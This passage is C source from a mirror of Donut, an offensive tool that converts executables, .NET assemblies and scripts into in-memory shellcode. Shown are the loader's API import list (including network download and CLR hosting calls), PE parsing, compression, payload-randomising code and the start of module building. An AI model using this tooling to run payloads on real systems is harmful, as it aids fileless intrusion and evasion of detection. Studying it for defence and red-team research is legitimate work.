mirror of https://github.com/qwqdanchun/donut.git
2334 lines
75 KiB
C
2334 lines
75 KiB
C
/**
|
|
BSD 3-Clause License
|
|
|
|
Copyright (c) 2019-2020, TheWover, Odzhan. All rights reserved.
|
|
|
|
Redistribution and use in source and binary forms, with or without
|
|
modification, are permitted provided that the following conditions are met:
|
|
|
|
* Redistributions of source code must retain the above copyright notice, this
|
|
list of conditions and the following disclaimer.
|
|
|
|
* Redistributions in binary form must reproduce the above copyright notice,
|
|
this list of conditions and the following disclaimer in the documentation
|
|
and/or other materials provided with the distribution.
|
|
|
|
* Neither the name of the copyright holder nor the names of its
|
|
contributors may be used to endorse or promote products derived from
|
|
this software without specific prior written permission.
|
|
|
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
*/
|
|
|
|
#include "donut.h"
|
|
|
|
#include "loader_exe_x86.h"
|
|
#include "loader_exe_x64.h"
|
|
|
|
#define PUT_BYTE(p, v) { *(uint8_t *)(p) = (uint8_t) (v); p = (uint8_t*)p + 1; }
|
|
#define PUT_HWORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 2); p = (uint8_t*)p + 2; }
|
|
#define PUT_WORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 4); p = (uint8_t*)p + 4; }
|
|
#define PUT_BYTES(p, v, n) { memcpy(p, v, n); p = (uint8_t*)p + n; }
|
|
|
|
// required for each API used by the loader
|
|
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32"
|
|
|
|
// These must be in the same order as the DONUT_INSTANCE structure defined in donut.h
|
|
static API_IMPORT api_imports[] = {
|
|
{KERNEL32_DLL, "LoadLibraryA"},
|
|
{KERNEL32_DLL, "GetProcAddress"},
|
|
{KERNEL32_DLL, "GetModuleHandleA"},
|
|
{KERNEL32_DLL, "VirtualAlloc"},
|
|
{KERNEL32_DLL, "VirtualFree"},
|
|
{KERNEL32_DLL, "VirtualQuery"},
|
|
{KERNEL32_DLL, "VirtualProtect"},
|
|
{KERNEL32_DLL, "Sleep"},
|
|
{KERNEL32_DLL, "MultiByteToWideChar"},
|
|
{KERNEL32_DLL, "GetUserDefaultLCID"},
|
|
{KERNEL32_DLL, "WaitForSingleObject"},
|
|
{KERNEL32_DLL, "CreateThread"},
|
|
{KERNEL32_DLL, "CreateFileA"},
|
|
{KERNEL32_DLL, "GetFileSizeEx"},
|
|
{KERNEL32_DLL, "GetThreadContext"},
|
|
{KERNEL32_DLL, "GetCurrentThread"},
|
|
{KERNEL32_DLL, "GetCurrentProcess"},
|
|
{KERNEL32_DLL, "GetCommandLineA"},
|
|
{KERNEL32_DLL, "GetCommandLineW"},
|
|
{KERNEL32_DLL, "HeapAlloc"},
|
|
{KERNEL32_DLL, "HeapReAlloc"},
|
|
{KERNEL32_DLL, "GetProcessHeap"},
|
|
{KERNEL32_DLL, "HeapFree"},
|
|
{KERNEL32_DLL, "GetLastError"},
|
|
{KERNEL32_DLL, "CloseHandle"},
|
|
|
|
{SHELL32_DLL, "CommandLineToArgvW"},
|
|
|
|
{OLEAUT32_DLL, "SafeArrayCreate"},
|
|
{OLEAUT32_DLL, "SafeArrayCreateVector"},
|
|
{OLEAUT32_DLL, "SafeArrayPutElement"},
|
|
{OLEAUT32_DLL, "SafeArrayDestroy"},
|
|
{OLEAUT32_DLL, "SafeArrayGetLBound"},
|
|
{OLEAUT32_DLL, "SafeArrayGetUBound"},
|
|
{OLEAUT32_DLL, "SysAllocString"},
|
|
{OLEAUT32_DLL, "SysFreeString"},
|
|
{OLEAUT32_DLL, "LoadTypeLib"},
|
|
|
|
{WININET_DLL, "InternetCrackUrlA"},
|
|
{WININET_DLL, "InternetOpenA"},
|
|
{WININET_DLL, "InternetConnectA"},
|
|
{WININET_DLL, "InternetSetOptionA"},
|
|
{WININET_DLL, "InternetReadFile"},
|
|
{WININET_DLL, "InternetQueryDataAvailable"},
|
|
{WININET_DLL, "InternetCloseHandle"},
|
|
{WININET_DLL, "HttpOpenRequestA"},
|
|
{WININET_DLL, "HttpSendRequestA"},
|
|
{WININET_DLL, "HttpQueryInfoA"},
|
|
|
|
{MSCOREE_DLL, "CorBindToRuntime"},
|
|
{MSCOREE_DLL, "CLRCreateInstance"},
|
|
|
|
{OLE32_DLL, "CoInitializeEx"},
|
|
{OLE32_DLL, "CoCreateInstance"},
|
|
{OLE32_DLL, "CoUninitialize"},
|
|
|
|
{NTDLL_DLL, "RtlEqualUnicodeString"},
|
|
{NTDLL_DLL, "RtlEqualString"},
|
|
{NTDLL_DLL, "RtlUnicodeStringToAnsiString"},
|
|
{NTDLL_DLL, "RtlInitUnicodeString"},
|
|
{NTDLL_DLL, "RtlExitUserThread"},
|
|
{NTDLL_DLL, "RtlExitUserProcess"},
|
|
{NTDLL_DLL, "RtlCreateUnicodeString"},
|
|
{NTDLL_DLL, "RtlGetCompressionWorkSpaceSize"},
|
|
{NTDLL_DLL, "RtlDecompressBuffer"},
|
|
{NTDLL_DLL, "NtContinue"},
|
|
{NTDLL_DLL, "NtCreateSection"},
|
|
{NTDLL_DLL, "NtMapViewOfSection"},
|
|
{NTDLL_DLL, "NtUnmapViewOfSection"},
|
|
//{KERNEL32_DLL, "AddVectoredExceptionHandler"},
|
|
//{KERNEL32_DLL, "RemoveVectoredExceptionHandler"},
|
|
//{NTDLL_DLL, "RtlFreeUnicodeString"},
|
|
//{NTDLL_DLL, "RtlFreeString"},
|
|
|
|
{ NULL, NULL } // last one always contains two NULL pointers
|
|
};
|
|
|
|
// required to load .NET assemblies
|
|
static GUID xCLSID_CorRuntimeHost = {
|
|
0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
|
|
|
|
static GUID xIID_ICorRuntimeHost = {
|
|
0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}};
|
|
|
|
static GUID xCLSID_CLRMetaHost = {
|
|
0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}};
|
|
|
|
static GUID xIID_ICLRMetaHost = {
|
|
0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}};
|
|
|
|
static GUID xIID_ICLRRuntimeInfo = {
|
|
0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}};
|
|
|
|
static GUID xIID_AppDomain = {
|
|
0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13}};
|
|
|
|
// required to load VBS and JS files
|
|
static GUID xIID_IUnknown = {
|
|
0x00000000, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
|
|
|
|
static GUID xIID_IDispatch = {
|
|
0x00020400, 0x0000, 0x0000, {0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
|
|
|
|
static GUID xIID_IHost = {
|
|
0x91afbd1b, 0x5feb, 0x43f5, {0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec}};
|
|
|
|
static GUID xIID_IActiveScript = {
|
|
0xbb1a2ae1, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
|
|
|
|
static GUID xIID_IActiveScriptSite = {
|
|
0xdb01a1e3, 0xa42b, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
|
|
|
|
static GUID xIID_IActiveScriptSiteWindow = {
|
|
0xd10f6761, 0x83e9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
|
|
|
|
static GUID xIID_IActiveScriptParse32 = {
|
|
0xbb1a2ae2, 0xa4f9, 0x11cf, {0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}};
|
|
|
|
static GUID xIID_IActiveScriptParse64 = {
|
|
0xc7ef7658, 0xe1ee, 0x480e, {0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17}};
|
|
|
|
static GUID xCLSID_VBScript = {
|
|
0xB54F3741, 0x5B07, 0x11cf, {0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8}};
|
|
|
|
static GUID xCLSID_JScript = {
|
|
0xF414C260, 0x6AC0, 0x11CF, {0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58}};
|
|
|
|
// where to store information about input file
|
|
file_info fi;
|
|
|
|
// return pointer to DOS header
|
|
static PIMAGE_DOS_HEADER DosHdr(void *map) {
|
|
return (PIMAGE_DOS_HEADER)map;
|
|
}
|
|
|
|
// return pointer to NT headers
|
|
static PIMAGE_NT_HEADERS NtHdr (void *map) {
|
|
return (PIMAGE_NT_HEADERS) ((uint8_t*)map + DosHdr(map)->e_lfanew);
|
|
}
|
|
|
|
// return pointer to File header
|
|
static PIMAGE_FILE_HEADER FileHdr (void *map) {
|
|
return &NtHdr(map)->FileHeader;
|
|
}
|
|
|
|
// determines CPU architecture of binary
|
|
static int is32 (void *map) {
|
|
return FileHdr(map)->Machine == IMAGE_FILE_MACHINE_I386;
|
|
}
|
|
|
|
// return pointer to Optional header
|
|
static void* OptHdr (void *map) {
|
|
return (void*)&NtHdr(map)->OptionalHeader;
|
|
}
|
|
|
|
static PIMAGE_DATA_DIRECTORY Dirs (void *map) {
|
|
if (is32(map)) {
|
|
return ((PIMAGE_OPTIONAL_HEADER32)OptHdr(map))->DataDirectory;
|
|
} else {
|
|
return ((PIMAGE_OPTIONAL_HEADER64)OptHdr(map))->DataDirectory;
|
|
}
|
|
}
|
|
|
|
// valid dos header?
|
|
static int valid_dos_hdr (void *map) {
|
|
PIMAGE_DOS_HEADER dos = DosHdr(map);
|
|
|
|
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
|
return (dos->e_lfanew != 0);
|
|
}
|
|
|
|
// valid nt headers
|
|
static int valid_nt_hdr (void *map) {
|
|
return NtHdr(map)->Signature == IMAGE_NT_SIGNATURE;
|
|
}
|
|
|
|
static ULONG64 rva2ofs (void *base, ULONG64 rva) {
|
|
DWORD i;
|
|
ULONG64 ofs;
|
|
PIMAGE_DOS_HEADER dos;
|
|
PIMAGE_NT_HEADERS nt;
|
|
PIMAGE_SECTION_HEADER sh;
|
|
|
|
dos = (PIMAGE_DOS_HEADER)base;
|
|
nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
|
|
sh = (PIMAGE_SECTION_HEADER)
|
|
((PBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);
|
|
|
|
for (i=0; i<nt->FileHeader.NumberOfSections; i++) {
|
|
if ((rva >= sh[i].VirtualAddress) &&
|
|
(rva < (sh[i].VirtualAddress + sh[i].SizeOfRawData))) {
|
|
|
|
ofs = sh[i].PointerToRawData + (rva - sh[i].VirtualAddress);
|
|
return ofs;
|
|
}
|
|
}
|
|
return -1;
|
|
}
|
|
|
|
#ifdef WINDOWS
|
|
#include "mmap-windows.c"
|
|
#endif
|
|
|
|
/**
|
|
* Function: map_file
|
|
* ----------------------------
|
|
* Open and map the contents of file into memory.
|
|
*
|
|
* INPUT : path = file to map
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int map_file(const char *path) {
|
|
struct stat fs;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
if(stat(path, &fs) != 0) {
|
|
DPRINT("Unable to read size of file : %s", path);
|
|
return DONUT_ERROR_FILE_NOT_FOUND;
|
|
}
|
|
|
|
if(fs.st_size == 0) {
|
|
DPRINT("File appears to be empty!");
|
|
return DONUT_ERROR_FILE_EMPTY;
|
|
}
|
|
|
|
fi.fd = open(path, O_RDONLY);
|
|
|
|
if(fi.fd < 0) {
|
|
DPRINT("Unable to open %s for reading.", path);
|
|
return DONUT_ERROR_FILE_ACCESS;
|
|
}
|
|
|
|
fi.len = fs.st_size;
|
|
|
|
fi.data = mmap(NULL, fi.len, PROT_READ, MAP_PRIVATE, fi.fd, 0);
|
|
|
|
// no mapping? close file
|
|
if(fi.data == NULL) {
|
|
DPRINT("Unable to map file : %s", path);
|
|
close(fi.fd);
|
|
return DONUT_ERROR_NO_MEMORY;
|
|
}
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
/**
|
|
* Function: unmap_file
|
|
* ----------------------------
|
|
* Releases memory allocated for file and closes descriptor.
|
|
*
|
|
* INPUT : Nothing
|
|
*
|
|
* OUTPUT : Donut error code
|
|
*/
|
|
static int unmap_file(void) {
|
|
|
|
if(fi.zdata != NULL) {
|
|
DPRINT("Releasing compressed data.");
|
|
free(fi.zdata);
|
|
fi.zdata = NULL;
|
|
}
|
|
if(fi.data != NULL) {
|
|
DPRINT("Unmapping input file.");
|
|
munmap(fi.data, fi.len);
|
|
fi.data = NULL;
|
|
}
|
|
if(fi.fd != 0) {
|
|
DPRINT("Closing input file.");
|
|
close(fi.fd);
|
|
fi.fd = 0;
|
|
}
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
// only included for executable generator or debug build
|
|
#if defined(DONUT_EXE) || defined(DEBUG)
|
|
/**
|
|
* Function: file_diff
|
|
* ----------------------------
|
|
* Calculates the ratio between two lengths for compression and decompression.
|
|
*
|
|
* INPUT : new_len = new length
|
|
* : old_len = old length
|
|
*
|
|
* OUTPUT : ratio as a percentage
|
|
*/
|
|
static uint32_t file_diff(uint32_t new_len, uint32_t old_len) {
|
|
if (new_len <= UINT_MAX / 100) {
|
|
new_len *= 100;
|
|
} else {
|
|
old_len /= 100;
|
|
}
|
|
if (old_len == 0) {
|
|
old_len = 1;
|
|
}
|
|
return (100 - (new_len / old_len));
|
|
}
|
|
#endif
|
|
|
|
/**
|
|
* Function: compress_file
|
|
* ----------------------------
|
|
* Compresses the input file based on engine selected by user
|
|
*
|
|
* INPUT : Pointer to Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
int compress_file(PDONUT_CONFIG c) {
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
// RtlCompressBuffer is only available on Windows
|
|
#ifdef WINDOWS
|
|
typedef NTSTATUS (WINAPI *RtlGetCompressionWorkSpaceSize_t)(
|
|
USHORT CompressionFormatAndEngine,
|
|
PULONG CompressBufferWorkSpaceSize,
|
|
PULONG CompressFragmentWorkSpaceSize);
|
|
|
|
typedef NTSTATUS (WINAPI *RtlCompressBuffer_t)(
|
|
USHORT CompressionFormatAndEngine,
|
|
PUCHAR UncompressedBuffer,
|
|
ULONG UncompressedBufferSize,
|
|
PUCHAR CompressedBuffer,
|
|
ULONG CompressedBufferSize,
|
|
ULONG UncompressedChunkSize,
|
|
PULONG FinalCompressedSize,
|
|
PVOID WorkSpace);
|
|
|
|
ULONG wspace, fspace;
|
|
NTSTATUS nts;
|
|
PVOID ws;
|
|
HMODULE m;
|
|
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
|
|
RtlCompressBuffer_t RtlCompressBuffer;
|
|
|
|
// compress file using RtlCompressBuffer?
|
|
if(c->compress == DONUT_COMPRESS_LZNT1 ||
|
|
c->compress == DONUT_COMPRESS_XPRESS)
|
|
{
|
|
m = GetModuleHandle("ntdll");
|
|
RtlGetCompressionWorkSpaceSize = (RtlGetCompressionWorkSpaceSize_t)GetProcAddress(m, "RtlGetCompressionWorkSpaceSize");
|
|
RtlCompressBuffer = (RtlCompressBuffer_t)GetProcAddress(m, "RtlCompressBuffer");
|
|
|
|
if(RtlGetCompressionWorkSpaceSize == NULL || RtlCompressBuffer == NULL) {
|
|
DPRINT("Unable to resolve compression API");
|
|
return DONUT_ERROR_COMPRESSION;
|
|
}
|
|
|
|
DPRINT("Reading fragment and workspace size");
|
|
nts = RtlGetCompressionWorkSpaceSize(
|
|
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
|
|
&wspace, &fspace);
|
|
|
|
if(nts == 0) {
|
|
DPRINT("workspace size : %"PRId32" | fragment size : %"PRId32, wspace, fspace);
|
|
ws = malloc(wspace);
|
|
if(ws != NULL) {
|
|
DPRINT("Allocating memory for compressed data.");
|
|
fi.zdata = malloc(fi.len);
|
|
if(fi.zdata != NULL) {
|
|
DPRINT("Compressing %p to %p with RtlCompressBuffer(%s)",
|
|
fi.data, fi.zdata,
|
|
c->compress == DONUT_COMPRESS_LZNT1 ? "LZNT" : "XPRESS");
|
|
|
|
nts = RtlCompressBuffer(
|
|
(c->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
|
|
fi.data, fi.len, fi.zdata, fi.len, 0,
|
|
(PULONG)&fi.zlen, ws);
|
|
|
|
if(nts != 0) {
|
|
DPRINT("NTSTATUS : %lx", nts);
|
|
err = DONUT_ERROR_COMPRESSION;
|
|
}
|
|
} else err = DONUT_ERROR_NO_MEMORY;
|
|
free(ws);
|
|
} else err = DONUT_ERROR_NO_MEMORY;
|
|
} else err = DONUT_ERROR_COMPRESSION;
|
|
}
|
|
#endif
|
|
if(c->compress == DONUT_COMPRESS_APLIB) {
|
|
DPRINT("Obtaining size of compressed data from aP_max_packed_size() and allocating memory");
|
|
fi.zdata = malloc(aP_max_packed_size(fi.len));
|
|
if(fi.zdata != NULL) {
|
|
DPRINT("Obtaining size of work memory from aP_workmem_size() and allocating memory");
|
|
uint8_t *workmem = malloc(aP_workmem_size(fi.len));
|
|
if(workmem != NULL) {
|
|
DPRINT("Compressing with aP_pack()");
|
|
fi.zlen = aP_pack(fi.data, fi.zdata, fi.len, workmem, NULL, NULL);
|
|
|
|
if(fi.zlen == APLIB_ERROR) err = DONUT_ERROR_COMPRESSION;
|
|
free(workmem);
|
|
} else err = DONUT_ERROR_NO_MEMORY;
|
|
} else err = DONUT_ERROR_NO_MEMORY;
|
|
}
|
|
|
|
// if compression is specified
|
|
if(err == DONUT_ERROR_OK && c->compress != DONUT_COMPRESS_NONE) {
|
|
// set the compressed length in configuration
|
|
c->zlen = fi.zlen;
|
|
DPRINT("Original file size : %"PRId32 " | Compressed : %"PRId32, fi.len, fi.zlen);
|
|
DPRINT("File size reduced by %"PRId32"%%", file_diff(fi.zlen, fi.len));
|
|
}
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: read_file_info
|
|
* ----------------------------
|
|
* Reads information about the input file.
|
|
*
|
|
* INPUT : Pointer to Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int read_file_info(PDONUT_CONFIG c) {
|
|
PIMAGE_NT_HEADERS nt;
|
|
PIMAGE_DATA_DIRECTORY dir;
|
|
PMDSTORAGESIGNATURE pss;
|
|
PIMAGE_COR20_HEADER cor;
|
|
DWORD dll, rva, cpu;
|
|
ULONG64 ofs;
|
|
PCHAR ext;
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
// invalid parameters passed?
|
|
if(c->input[0] == 0) {
|
|
DPRINT("No input file provided.");
|
|
return DONUT_ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
DPRINT("Checking extension of %s", c->input);
|
|
ext = strrchr(c->input, '.');
|
|
|
|
// no extension? exit
|
|
if(ext == NULL) {
|
|
DPRINT("Input file has no extension.");
|
|
return DONUT_ERROR_FILE_INVALID;
|
|
}
|
|
DPRINT("Extension is \"%s\"", ext);
|
|
|
|
// VBScript?
|
|
if (strcasecmp(ext, ".vbs") == 0) {
|
|
DPRINT("File is VBS");
|
|
fi.type = DONUT_MODULE_VBS;
|
|
fi.arch = DONUT_ARCH_ANY;
|
|
} else
|
|
// JScript?
|
|
if (strcasecmp(ext, ".js") == 0) {
|
|
DPRINT("File is JS");
|
|
fi.type = DONUT_MODULE_JS;
|
|
fi.arch = DONUT_ARCH_ANY;
|
|
} else
|
|
// EXE?
|
|
if (strcasecmp(ext, ".exe") == 0) {
|
|
DPRINT("File is EXE");
|
|
fi.type = DONUT_MODULE_EXE;
|
|
} else
|
|
// DLL?
|
|
if (strcasecmp(ext, ".dll") == 0) {
|
|
DPRINT("File is DLL");
|
|
fi.type = DONUT_MODULE_DLL;
|
|
} else {
|
|
DPRINT("Don't recognize file extension.");
|
|
return DONUT_ERROR_FILE_INVALID;
|
|
}
|
|
|
|
DPRINT("Mapping %s into memory", c->input);
|
|
|
|
err = map_file(c->input);
|
|
if(err != DONUT_ERROR_OK) return err;
|
|
|
|
// file is EXE or DLL?
|
|
if(fi.type == DONUT_MODULE_DLL ||
|
|
fi.type == DONUT_MODULE_EXE)
|
|
{
|
|
if(!valid_dos_hdr(fi.data)) {
|
|
DPRINT("EXE/DLL has no valid DOS header.");
|
|
err = DONUT_ERROR_FILE_INVALID;
|
|
goto cleanup;
|
|
}
|
|
|
|
if(!valid_nt_hdr(fi.data)) {
|
|
DPRINT("EXE/DLL has no valid NT header.");
|
|
err = DONUT_ERROR_FILE_INVALID;
|
|
goto cleanup;
|
|
}
|
|
|
|
dir = Dirs(fi.data);
|
|
|
|
if(dir == NULL) {
|
|
DPRINT("EXE/DLL has no valid image directories.");
|
|
err = DONUT_ERROR_FILE_INVALID;
|
|
goto cleanup;
|
|
}
|
|
DPRINT("Checking characteristics");
|
|
|
|
nt = NtHdr(fi.data);
|
|
dll = nt->FileHeader.Characteristics & IMAGE_FILE_DLL;
|
|
cpu = is32(fi.data);
|
|
rva = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress;
|
|
|
|
// set the CPU architecture for file
|
|
fi.arch = cpu ? DONUT_ARCH_X86 : DONUT_ARCH_X64;
|
|
|
|
// if COM directory present
|
|
if(rva != 0) {
|
|
DPRINT("COM Directory found indicates .NET assembly.");
|
|
|
|
// if it has an export address table, we assume it's a .NET
|
|
// mixed assembly. curently unsupported by the PE loader.
|
|
if(dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress != 0) {
|
|
DPRINT("File looks like a mixed (native and managed) assembly.");
|
|
err = DONUT_ERROR_MIXED_ASSEMBLY;
|
|
goto cleanup;
|
|
} else {
|
|
// set type to EXE or DLL assembly
|
|
fi.type = (dll) ? DONUT_MODULE_NET_DLL : DONUT_MODULE_NET_EXE;
|
|
|
|
// try read the runtime version from meta header
|
|
strncpy(fi.ver, "v4.0.30319", DONUT_VER_LEN - 1);
|
|
|
|
ofs = rva2ofs(fi.data, rva);
|
|
if (ofs != -1) {
|
|
cor = (PIMAGE_COR20_HEADER)(ofs + fi.data);
|
|
rva = cor->MetaData.VirtualAddress;
|
|
if(rva != 0) {
|
|
ofs = rva2ofs(fi.data, rva);
|
|
if(ofs != -1) {
|
|
pss = (PMDSTORAGESIGNATURE)(ofs + fi.data);
|
|
DPRINT("Runtime version : %s", (char*)pss->pVersion);
|
|
strncpy(fi.ver, (char*)pss->pVersion, DONUT_VER_LEN - 1);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
// assign length of file and type to configuration
|
|
c->len = fi.len;
|
|
c->mod_type = fi.type;
|
|
cleanup:
|
|
if(err != DONUT_ERROR_OK) {
|
|
DPRINT("Unmapping input file due to errors.");
|
|
unmap_file();
|
|
}
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: gen_random
|
|
* ----------------------------
|
|
* Generates pseudo-random bytes.
|
|
*
|
|
* INPUT : buf = where to store random bytes.
|
|
* : len = length of random bytes to generate.
|
|
*
|
|
* OUTPUT : 1 if ok, else 0
|
|
*/
|
|
static int gen_random(void *buf, uint64_t len) {
|
|
#if defined(WINDOWS)
|
|
HCRYPTPROV prov;
|
|
int ok;
|
|
|
|
// 1. acquire crypto context
|
|
if(!CryptAcquireContext(
|
|
&prov, NULL, NULL,
|
|
PROV_RSA_FULL,
|
|
CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) return 0;
|
|
|
|
ok = (int)CryptGenRandom(prov, (DWORD)len, buf);
|
|
CryptReleaseContext(prov, 0);
|
|
|
|
return ok;
|
|
#else
|
|
int fd;
|
|
uint64_t r=0;
|
|
uint8_t *p=(uint8_t*)buf;
|
|
|
|
DPRINT("Opening /dev/urandom to acquire %li bytes", len);
|
|
fd = open("/dev/urandom", O_RDONLY);
|
|
|
|
if(fd > 0) {
|
|
for(r=0; r<len; r++, p++) {
|
|
if(read(fd, p, 1) != 1) break;
|
|
}
|
|
close(fd);
|
|
}
|
|
DPRINT("Acquired %li of %li bytes requested", r, len);
|
|
return r == len;
|
|
#endif
|
|
}
|
|
|
|
/**
|
|
* Function: gen_random_string
|
|
* ----------------------------
|
|
* Generates a pseudo-random string
|
|
*
|
|
* INPUT : output = pointer to buffer that receives string
|
|
* : len = length of string to generate
|
|
*
|
|
* OUTPUT : 1 if ok, else 0
|
|
*/
|
|
static int gen_random_string(void *output, uint64_t len) {
|
|
uint8_t rnd[DONUT_MAX_NAME];
|
|
int i;
|
|
char tbl[]="HMN34P67R9TWCXYF"; // https://stackoverflow.com/a/27459196
|
|
char *str = (char*)output;
|
|
|
|
if(len == 0 || len > (DONUT_MAX_NAME - 1)) return 0;
|
|
|
|
// generate DONUT_MAX_NAME random bytes
|
|
if(!gen_random(rnd, DONUT_MAX_NAME)) return 0;
|
|
|
|
// generate a string using unambiguous characters
|
|
for(i=0; i<len; i++) {
|
|
str[i] = tbl[rnd[i] % (sizeof(tbl) - 1)];
|
|
}
|
|
str[i] = 0;
|
|
return 1;
|
|
}
|
|
|
|
/**
|
|
* Function: build_module
|
|
* ----------------------------
|
|
* Create a Donut module from Donut configuration
|
|
*
|
|
* INPUT : A pointer to a donut configuration
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int build_module(PDONUT_CONFIG c) {
|
|
PDONUT_MODULE mod = NULL;
|
|
uint32_t mod_len, data_len;
|
|
void *data;
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
// Compress the input file?
|
|
if(c->compress != DONUT_COMPRESS_NONE) {
|
|
err = compress_file(c);
|
|
|
|
if(err != DONUT_ERROR_OK) {
|
|
DPRINT("compress_file() failed");
|
|
return err;
|
|
}
|
|
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.zlen, fi.zdata);
|
|
data = fi.zdata;
|
|
data_len = fi.zlen;
|
|
} else {
|
|
DPRINT("Assigning %"PRIi32 " bytes of %p to data", fi.len, fi.data);
|
|
data = fi.data;
|
|
data_len = fi.len;
|
|
}
|
|
// Allocate memory for module information and contents of file
|
|
mod_len = data_len + sizeof(DONUT_MODULE);
|
|
|
|
DPRINT("Allocating %" PRIi32 " bytes of memory for DONUT_MODULE", mod_len);
|
|
mod = calloc(mod_len, 1);
|
|
|
|
// Memory not allocated? exit
|
|
if(mod == NULL) {
|
|
DPRINT("calloc() failed");
|
|
return DONUT_ERROR_NO_MEMORY;
|
|
}
|
|
|
|
// Set the module info
|
|
mod->type = fi.type;
|
|
mod->thread = c->thread;
|
|
mod->compress = c->compress;
|
|
mod->unicode = c->unicode;
|
|
mod->zlen = fi.zlen;
|
|
mod->len = fi.len;
|
|
|
|
// DotNet assembly?
|
|
if(mod->type == DONUT_MODULE_NET_DLL ||
|
|
mod->type == DONUT_MODULE_NET_EXE)
|
|
{
|
|
// If no domain name specified in configuration
|
|
if(c->domain[0] == 0) {
|
|
// if entropy is enabled
|
|
if(c->entropy != DONUT_ENTROPY_NONE) {
|
|
// generate a random name
|
|
if(!gen_random_string(c->domain, DONUT_DOMAIN_LEN)) {
|
|
DPRINT("gen_random_string() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
}
|
|
}
|
|
DPRINT("Domain : %s", c->domain[0] == 0 ? "Default" : c->domain);
|
|
if(c->domain[0] != 0) {
|
|
// Set the domain name in module
|
|
strncpy(mod->domain, c->domain, DONUT_DOMAIN_LEN);
|
|
} else {
|
|
memset(mod->domain, 0, DONUT_DOMAIN_LEN);
|
|
}
|
|
// Assembly is DLL? Copy the class and method
|
|
if(mod->type == DONUT_MODULE_NET_DLL) {
|
|
DPRINT("Class : %s", c->cls);
|
|
strncpy(mod->cls, c->cls, DONUT_MAX_NAME-1);
|
|
|
|
DPRINT("Method : %s", c->method);
|
|
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
|
|
}
|
|
// If no runtime specified in configuration, use version from assembly
|
|
